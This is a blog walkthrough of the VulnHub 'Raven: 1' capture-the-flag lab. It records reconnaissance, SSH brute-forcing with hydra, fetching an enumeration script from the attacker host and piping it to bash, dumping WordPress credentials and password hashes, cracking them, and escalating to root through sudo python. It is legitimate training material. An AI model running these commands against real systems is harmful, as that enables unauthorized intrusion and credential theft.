John's Headshot

John's InfoSec Ramblings

The thoughts of a man working his way through a career in Information Security.

John Svazic

17 minute read


Name       : Raven: 1
Difficulty : Beginner/Intermediate
Type       : boot2root
Source     : VulnHub
URL        :,256/
Entry      : 1 / 30

Welcome to the walkthrough for Raven, a boot2root CTF found on VulnHub. This is the first in my VulnHub Challenge that I’m doing to keep myself sharp in my offensive skills. To be fair, I’m starting off easy and then moving on to more challenging machines.


This CTF has 4 separate flags that we need to find. The format will be along the lines of flag1{hash}, so we’ll need to be on the lookout for those as we progress.


To start, I’m using VMWare Workstation Player to host my main attacking VM (running Kali) and the Raven OVA image. I’m using a NAT network for both just to keep things simple.


I’m going to use netdiscover to search for the IP address of the Raven VM:

root@dante:~# netdiscover -r

Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------   00:50:56:c0:00:08      1      60  VMware, Inc.   00:50:56:f8:98:a5      1      60  VMware, Inc. 00:0c:29:1a:b7:d1      1      60  VMware, Inc. 00:50:56:e0:ea:28      1      60  VMware, Inc.

Looks like is my target IP. Let’s move on and scan the system.


I’ll start with a simple nmap scan using default scripts (-sC) and look for software versions as well (-sV):

root@dante:~# nmap -sC -sV
Starting Nmap 7.70 ( ) at 2019-07-18 20:20 EDT
Nmap scan report for raven.local (
Host is up (0.00012s latency).
Not shown: 997 closed ports
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          59412/tcp  status
|_  100024  1          60547/udp  status
MAC Address: 00:0C:29:1A:B7:D1 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.01 seconds

So the system has SSH, HTTP, and RPC running on ports 22, 80, and 111 respectively. Interesting, but not too helpful just yet. Apache is version 2.4.10, which isn’t exactly new, but not so old as to make me think of an obvious exploit. Let’s see what information we can gather from the website itself first, then we can go and dig a bit deeper.


Browsing to the site, it looks like a pretty standard company website:

Aviators FTW

Clicking through the links, it seems that we have static HTML pages except for their blog, which points to a WordPress site. Also interesting is that it fails to render some content as it seems to be timing out on raven.local:

Sad panda

On a hunch I edit my /etc/hosts file and add an entry for raven.local and try again:

Aw yeah

Success. I decide now is a good time to use curl to go through the various URLs that I’ve found and see if I can find any flags that way. Here’s the list of links that I found:

  • index.html
  • about.html
  • service.html
  • team.html
  • contact.html

There’s also the /wordpress/ URL, but we’ll track that separately.

Flag 1

Let’s whip up a quick bash script to iterate through these pages looking for a flag:

for url in index.html about.html service.html team.html contact.html; do
        flag=$(curl$url 2> /dev/null | grep flag\.\{)
        if [[ $flag != "" ]]; then
                echo "Found a flag in: $url"
                echo "$flag"

Running this script gives us:

Found a flag in: service.html
                        <!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->

Awesome! We found our first flag.


Turning my attention back to WordPress, I decide to use the wpscan tool to look at the site and see what information I can get from it:

        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9.4
          Sponsored by Sucuri -
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_

[+] URL: http://raven.local/wordpress/
[+] Started: Thu Jul 18 21:55:13 2019

[+] Interesting header: LINK: <http://raven.local/wordpress/index.php/wp-json/>; rel=""
[+] Interesting header: SERVER: Apache/2.4.10 (Debian)
[+] XML-RPC Interface available under: http://raven.local/wordpress/xmlrpc.php   [HTTP 405]
[+] Found an RSS Feed: http://raven.local/wordpress/index.php/feed/   [HTTP 200]
[!] Detected 1 user from RSS feed:
| Name    |
| michael |
[!] Includes directory has directory listing enabled: http://raven.local/wordpress/wp-includes/

[+] Enumerating WordPress version ...

[+] WordPress version 4.8.9 (Released on 2019-03-13) identified from meta generator, links opml

[+] WordPress theme in use: twentyseventeen - v1.3

[+] Name: twentyseventeen - v1.3

[+] Name: twentyseventeen - v1.3
 |  Last updated: 2019-05-07T00:00:00.000Z
 |  Location: http://raven.local/wordpress/wp-content/themes/twentyseventeen/
 |  Readme: http://raven.local/wordpress/wp-content/themes/twentyseventeen/README.txt
[!] The version is out of date, the latest version is 2.2
 |  Style URL: http://raven.local/wordpress/wp-content/themes/twentyseventeen/style.css
 |  Theme Name: Twenty Seventeen
 |  Theme URI:
 |  Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
 |  Author: the WordPress team
 |  Author URI:

[+] Enumerating plugins from passive detection ...
[+] No plugins found passively

[+] Finished: Thu Jul 18 21:55:16 2019
[+] Elapsed time: 00:00:02
[+] Requests made: 652
[+] Memory used: 40.035 MB

A fair bit of output, but there’s a few things we can see:

  • The version of WordPress being run is 4.8.9
  • There is a single user, michael that was found
  • The theme in use, twentyseventeen, is outdated
  • There are no plugins found

I try logging in to WordPress using a few routine passwords like michael, password, and raven but none of them worked. Likewise I didn’t find any exploits for this version of WordPress or the twentyseventeen theme that would help me get a foothold.


So right now we have a website, a WordPress site, a username, an SSH server, and an RPC server. Without any luck in getting into the WordPress site, let’s move on and see where we can get with the SSH server.


The target is running OpenSSH 6.7p1. I’ve looked into exploits via searchsploit, Metasploit, and SecurityFocus, but nothing of interest was found. No problem, we can just try some good old fashioned brute forcing! To do this step, I’ll use two different tools:

  1. hydra for the actual brute forcing.
  2. SecLists for a set of default passwords to test with.

SecLists is one of the first packages I install on Kali, and I strongly recommend you do the same. Daniel Miessler has done us all a great service by putting this list together.

Alright, let’s run hydra using the 10k-most-common.txt password file from SecLists. I chose this one out of convenience, but I could have used something like /usr/share/wordlists/rockyou.txt as well. I like shorter lists since they’re faster, but if those don’t work then I’ll go to a larger list. If it’s offline password cracking, then bigger is better and I’ll do the opposite and go with a larger list first.

With that out of the way, let’s get started:

root@dante:~# hydra -l michael -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt ssh://
Hydra v8.9.1 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2019-07-19 07:19:04
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:1/p:10000), ~625 tries per task
[DATA] attacking ssh://
[22][ssh] host:   login: michael   password: michael
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2019-07-19 07:19:06

Great! We found a successful login for the user michael! Let’s SSH to the machine and see what’s up.

When I get on to a machine, one of the first things I’ll do is run a quick enumeration script to see what info I can gather. I like to use the script for this, so that’s what I’ll use here.

Note: I usually edit my scripts to force the thorough tests to run. When it comes to CTFs I always want the extra output, so by forcing this setting to be enabled within the script I don’t have to worry about forgetting to specify the flag. It also makes it easier when piping it through curl or wget.

First I check for curl, and then wget in order to see what I can use to grab the script:

root@dante:~# ssh michael@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:rCGKSPq0sUfa5mqn/8/M0T63OxqkEIR39pi835oSDo8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
michael@'s password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Tue Jul  9 11:59:51 2019 from
michael@Raven:~$ which curl
michael@Raven:~$ which wget

Looks like I only have wget. I’ll setup a web server using python on my Kali machine, then use wget to download the contents of the script to the target machine, piping the output to bash so that it can execute without touching the disk.

First up is starting the SimpleHTTPServer for my script on Kali:

root@dante:~# cd /opt/LinEnum/
root@dante:/opt/LinEnum# python -m SimpleHTTPServer 80
Serving HTTP on port 80 ...

Next, I go back to my SSH session on Raven and download the script using wget, pipe it to bash, then review the results:

michael@Raven:~$ wget -qO - | bash

# Local Linux Enumeration & Privilege Escalation Script #
# version 0.97

[-] Debug Info
[+] Thorough tests = Enabled

Scan started at:
Friday 19 July  21:34:42 AEST 2019

### SYSTEM ##############################################
[-] Kernel information:
Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux

[-] Kernel information (continued):
Linux version 3.16.0-6-amd64 ( (gcc version 4.9.2 (Debian 4.9.2-10+deb8u1) ) #1 SMP Debian 3.16.57-2 (2018-07-14)

[-] Specific release information:
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION="8 (jessie)"

There’s a lot of output here, so let’s focus on some highlights:

  1. There are two users on the system, michael and steven.
  2. michael has read/write access to /var/www and /home/michael
  3. michael does not have sudo access

Flag 2

Starting to explore a bit, I find nothing in /home/michael, but /var/www has a file called flag2.txt:

michael@Raven:~$ cd /var/www
michael@Raven:/var/www$ ls
flag2.txt  html
michael@Raven:/var/www$ cat flag2.txt

Boom, 2 / 4 flags retrieved!

Revisiting WordPress

The /var/www/html/wordpress directory is wide open (i.e. chmod 777 open), so let’s go spelunking for some passwords! WordPress is backed by a database, and we saw from the output that MySQL is installed on this machine. Looking at /var/www/html/wordpress/wp_config.php we can look for MySQL credentials:

 * The base configuration for WordPress
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 * This file contains the following configurations:
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * @link
 * @package WordPress

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

 * Authentication Unique Keys and Salts.
 * Change these to different unique phrases!
 * You can generate these using the {@link secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 * @since 2.6.0
define('AUTH_KEY',         '0&ItXmn^q2d[e*yB:9,L:rR<B`h+DG,zQ&SN{Or3zalh.JE+Q!Gi:L7U[(T:J5ay');
define('SECURE_AUTH_KEY',  'y@^[*q{)NKZAKK{,AA4y-Ia*swA6/O@&*r{+RS*N!p1&a$*ctt+ I/!?A/Tip(BG');
define('LOGGED_IN_KEY',    '.D4}RE4rW2C@9^Bp%#U6i)?cs7,@e]YD:R~fp#hXOk$4o/yDO8b7I&/F7SBSLPlj');
define('NONCE_KEY',        '4L{Cq,%ce2?RRT7zue#R3DezpNq4sFvcCzF@zdmgL/fKpaGX:EpJt/]xZW1_H&46');
define('AUTH_SALT',        '@@?u*YKtt:o/T&V;cbb`.GaJ0./S@dn$t2~n+lR3{PktK]2,*y/b%<BH-Bd#I}oE');
define('SECURE_AUTH_SALT', 'f0Dc#lKmEJi(:-3+x.V#]Wy@mCmp%njtmFb6`_80[8FK,ZQ=+HH/$& mn=]=/cvd');
define('LOGGED_IN_SALT',   '}STRHqy,4scy7v >-..Hc WD*h7rnYq]H`-glDfTVUaOwlh!-/?=3u;##:Rj1]7@');
define('NONCE_SALT',       'i(#~[sXA TbJJfdn&D;0bd`p$r,~.o/?%m<H+<>Vj+,nLvX!-jjjV-o6*HDh5Td{');


 * WordPress Database Table prefix.
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
$table_prefix  = 'wp_';

 * For developers: WordPress debugging mode.
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 * For information on other constants that can be used for debugging,
 * visit the Codex.
 * @link
define('WP_DEBUG', false);

/* That's all, stop editing! Happy blogging. */

/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
        define('ABSPATH', dirname(__FILE__) . '/');

/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');

Awesome, we have a password for MySQL, and it’s for root no less! Time to connect and see what we can do.

MySQL Searching

Since MySQL isn’t exposed externally, we’ll use the SSH connection we have with michael. Let’s start by connecting to MySQL and seeing what databases are available:

michael@Raven:/var/www/html/wordpress$ mysql -uroot -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 37
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
| Database           |
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
4 rows in set (0.00 sec)


By the look of things, the wordpress database is going to be our safest bet. Let’s see if we can grab some info from that database, starting with user accounts:

mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
| Tables_in_wordpress   |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
12 rows in set (0.00 sec)

mysql> SELECT * FROM wp_users\G
*************************** 1. row ***************************
                 ID: 1
         user_login: michael
          user_pass: $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
      user_nicename: michael
    user_registered: 2018-08-12 22:49:12
user_activation_key: 1562634170:$P$Bc5n8.xXhbc7uyzNzb4IuhsPr85tm7/
        user_status: 0
       display_name: michael
*************************** 2. row ***************************
                 ID: 2
         user_login: steven
          user_pass: $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
      user_nicename: steven
    user_registered: 2018-08-12 23:31:16
        user_status: 0
       display_name: Steven Seagull
2 rows in set (0.00 sec)


Pro tip: Using \G instead of ; in a SELECT statement will give you slightly nicer output for really wide columns.

Grabbing the values for user_login and user_pass from the wp_users table, we toss them into a file for professing.

mysql> SELECT CONCAT(user_login, ":", user_pass) FROM wp_users INTO OUTFILE '/tmp/wordpress.txt';
Query OK, 2 rows affected (0.01 sec)

mysql> exit
michael@Raven:~$ cat /tmp/wordpress.txt

Flag 3

Now that we have the file, let’s transfer it back to Kali via scp and then use John the Ripper to crack the passwords. But before we do that, let’s go take a look at the wp_posts table. I’m curious if there’s anything that might be coming up that would be interesting.

mysql> SELECT * FROM wp_posts WHERE post_status != 'publish'\G
*************************** 1. row ***************************
                   ID: 4
          post_author: 1
            post_date: 2018-08-13 01:48:31
        post_date_gmt: 0000-00-00 00:00:00
         post_content: flag3{afc01ab56b50591e7dccf93122770cd2}
           post_title: flag3
          post_status: draft
       comment_status: open
          ping_status: open
        post_modified: 2018-08-13 01:48:31
    post_modified_gmt: 2018-08-13 01:48:31
          post_parent: 0
                 guid: http://raven.local/wordpress/?p=4
           menu_order: 0
            post_type: post
        comment_count: 0
*************************** 2. row ***************************
                   ID: 5
          post_author: 1
            post_date: 2018-08-12 23:31:59
        post_date_gmt: 2018-08-12 23:31:59
         post_content: flag4{715dea6c055b9fe3337544932f2941ce}
           post_title: flag4
          post_status: inherit
       comment_status: closed
          ping_status: closed
            post_name: 4-revision-v1
        post_modified: 2018-08-12 23:31:59
    post_modified_gmt: 2018-08-12 23:31:59
          post_parent: 4
                 guid: http://raven.local/wordpress/index.php/2018/08/12/4-revision-v1/
           menu_order: 0
            post_type: revision
        comment_count: 0
*************************** 3. row ***************************
                   ID: 7
          post_author: 2
            post_date: 2018-08-13 01:48:31
        post_date_gmt: 2018-08-13 01:48:31
         post_content: flag3{afc01ab56b50591e7dccf93122770cd2}
           post_title: flag3
          post_status: inherit
       comment_status: closed
          ping_status: closed
            post_name: 4-revision-v1
        post_modified: 2018-08-13 01:48:31
    post_modified_gmt: 2018-08-13 01:48:31
          post_parent: 4
                 guid: http://raven.local/wordpress/index.php/2018/08/13/4-revision-v1/
           menu_order: 0
            post_type: revision
        comment_count: 0
3 rows in set (0.01 sec)


Well, would you look at that! Seems like we have the remaining two flags hiding in draft posts! Now a lesser individual would call it a day, but seeing as I have a few hashed passwords sitting on my Kali machine that need some attention, I’m just going to continue on with this little challenge.

Password Cracking

As I mentioned above, I like to use large password lists when cracking passwords locally. I figure if I only need to run the tool once, that would be idea. As such, I’m going to use the infamous rockyou.txt wordlist. Not sure on passwords, so we’ll go big and stick with rockyou.txt.

I’m also going to use John the Ripper, since my laptop doesn’t have a powerful enough GPU for Hashcat. I do have another rig that I can use, but I’d rather save that for a more difficult task. Hopefully I haven’t just jinxed myself.

root@dante:~/vulnhub/raven/hashes# john --wordlist=/usr/share/wordlists/rockyou.txt wordpress.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pink84           (steven)
1g 0:00:12:44 DONE (2019-07-19 19:40) 0.001307g/s 18756p/s 18816c/s 18816C/s  joefeher..*7¡Vamos!
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed

The whole process took a while (big list with a non-stellar CPU, so it’s understandable), but we did get the password for steven pretty quickly. Let’s see if I can SSH into his account with this password:

root@dante:~# ssh steven@
steven@'s password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug 13 14:12:04 2018


Privilege Escalation

Let’s skip a few steps and just see if he has any sudo privileges:

$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass,

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python

He does! Now we’re getting somewhere!

Now I’m going to share a great site that can help with privilege escalation when you’re on a Linux machine. It’s called GTFOBins. Let’s take a look at what they have for python and sudo:

$ whoami
$ sudo python -c 'import os; os.system("/bin/sh")'
# whoami

And now we have a nice root shell.

Flag 4

I pop on over to /root and grab the final flag:

# cd /root
# ls
# cat flag4.txt
| ___ \
| |_/ /__ ___   _____ _ __
|    // _` \ \ / / _ \ '_ \
| |\ \ (_| |\ V /  __/ | | |
\_| \_\__,_| \_/ \___|_| |_|


CONGRATULATIONS on successfully rooting Raven!
This is my first Boot2Root VM - I hope you enjoyed it.
Hit me up on Twitter and let me know what you thought:
@mccannwj /

To be fair, I cleaned up this final text file a bit to make it easier to read. Might be the file or the way my terminal was setup, but I think we can all agree this is easier to read.


comments powered by Disqus

Recent posts

See more



Hi. I'm John, and I'm an Information Security Generalist.